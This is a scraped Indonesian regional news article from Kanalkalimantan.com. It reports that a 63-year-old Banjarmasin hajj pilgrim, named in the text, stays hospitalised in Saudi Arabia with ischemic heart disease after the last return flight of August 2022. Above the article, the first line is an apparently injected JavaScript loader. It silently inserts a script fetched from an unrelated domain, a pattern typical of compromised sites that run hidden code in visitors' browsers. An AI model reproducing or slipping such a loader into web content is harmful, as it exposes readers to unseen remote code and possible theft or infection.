(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kedatangan Kloter 7-BDJ di Asrama Haji Embarkasi Banjarmasin pada Selasa (2/8/2022) menutup kepulangan jemaah haji dari dua Provinsi Kalimantan Selatan (Kalsel) dan Kalimantan Tengah (Kalteng).
Namun, hingga Jum’at (5/8/2022), masih tersisa satu jemaah haji asal Kota Banjarmasin yang belum pulang ke Tanah Air. Satu jemaah tersebut bernama Apani Kasim Rasini berusia 63 tahun.
Kepala Bidang Penyelenggaraan Haji dan Umroh Kantor Wilayah Kementerian Agama Provinsi Kalsel, Drs H Rusbandi MA mengatakan, satu jemaah haji tersebut masih belum bisa diterbangkan ke Tanah Air karena kondisinya sakit dan sedang dirawat di Rumah Sakit King Abdullah Arab Saudi.
“Seharusnya jemaah haji atas nama Apani tersebut masuk ke Kloter 7-BDJ, namun karena mengidap penyakit dalam akhirnya kita rawat di RS rumah sakit King Abdullah Arab Saudi. Dia masuk sektor IV Al Kiswah Tower,” ujar Drs H Rusbandi MA, saat ditemui Kanalkalimantan.com, Jum’at (5/8/2022).
Baca juga: Kloter 7 Menutup Kepulangan Jemaah Haji Kalselteng, 3 Wafat 1 Masih Dirawat di Jeddah
Dijelaskan Rusbandi, satu jemaah haji tersebut mengidap penyakit acute ischemic heart disease atau penyakit jantung iskemik, sehingga diharuskan untuk dirawat. Sebelumnya jemaah haji asal Kota Banjarmasin merupakan jemaah yang masuk pada jadwal kepulangan masuk ke Kloter 7-BDJ.
Sementara itu, untuk jadwal kepulangan satu jemaah tersebut belum bisa direncanakan. Namun, Rusbandi menerangkan tentang skenario pemulangan jemaah tersebut pihaknya akan mengatur kembali pergantian kloternya.
“Kalau memang kondisinya sudah membaik dan bisa dipulangkan maka akan kita atur kita titipkan ke Kloter lain, sama seperti kasus-kasus sebelumnya. Jadi akan kita aturkan mana Kloter terakhir yang bisa membawanya, kemudian bisa kita jemput,” jelas Rusbandi.
Rusbandi meminta pihak keluarga jemaah haji agar tidak khawatir bila hingga musim haji selesai, jemaah haji masih harus mendapatkan perawatan rumah sakit di Arab Saudi.
“Tentu jemaah tersebut menjadi tanggung jawab kami pemerintah dan sudah mendapatkan perawatan. Jangan khawatir, petugas-petugas kita masih banyak yang di sana untuk monitor untuk mengecek kondisi jemaah tersebut,” lanjutnya.
Lebih jauh ditegaskan Rusbandi bahwa jemaah tersebut pasti akan mendapatkan perawatan yang terbaik di Arab Saudi, tentunya dengan dibantu petugas-petugas haji Tanah Air lain.
“Di sana pun dari segi penyelenggaran sudah terjamin dengan pelayanan fasilitas yang levelnya jauh lebih baik, jadi insyaallah aman dan mudah-mudahan kondisi jemaah membaik dan sehat,” tandasnya.
Baca juga: Massa HMI Geruduk DPRD Banjarmasin, Tuntut Soal THM hingga Aturan Minuman Beralkohol
Sebelumnya Embarkasi Haji Banjarmasin mencatat 2.504 jemaah haji dari Kalsel dan Kalteng sudah berada di kampung halaman masing-masing.
Sementara itu ada 3 jemaah haji yang wafat. Diantaranya 1 dimakamkan di Kabupaten Balangan, 2 di Tanah Suci dan 1 orang masih di Tanah Suci belum bisa dipulangkan karena masih dalam keadaan sakit. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.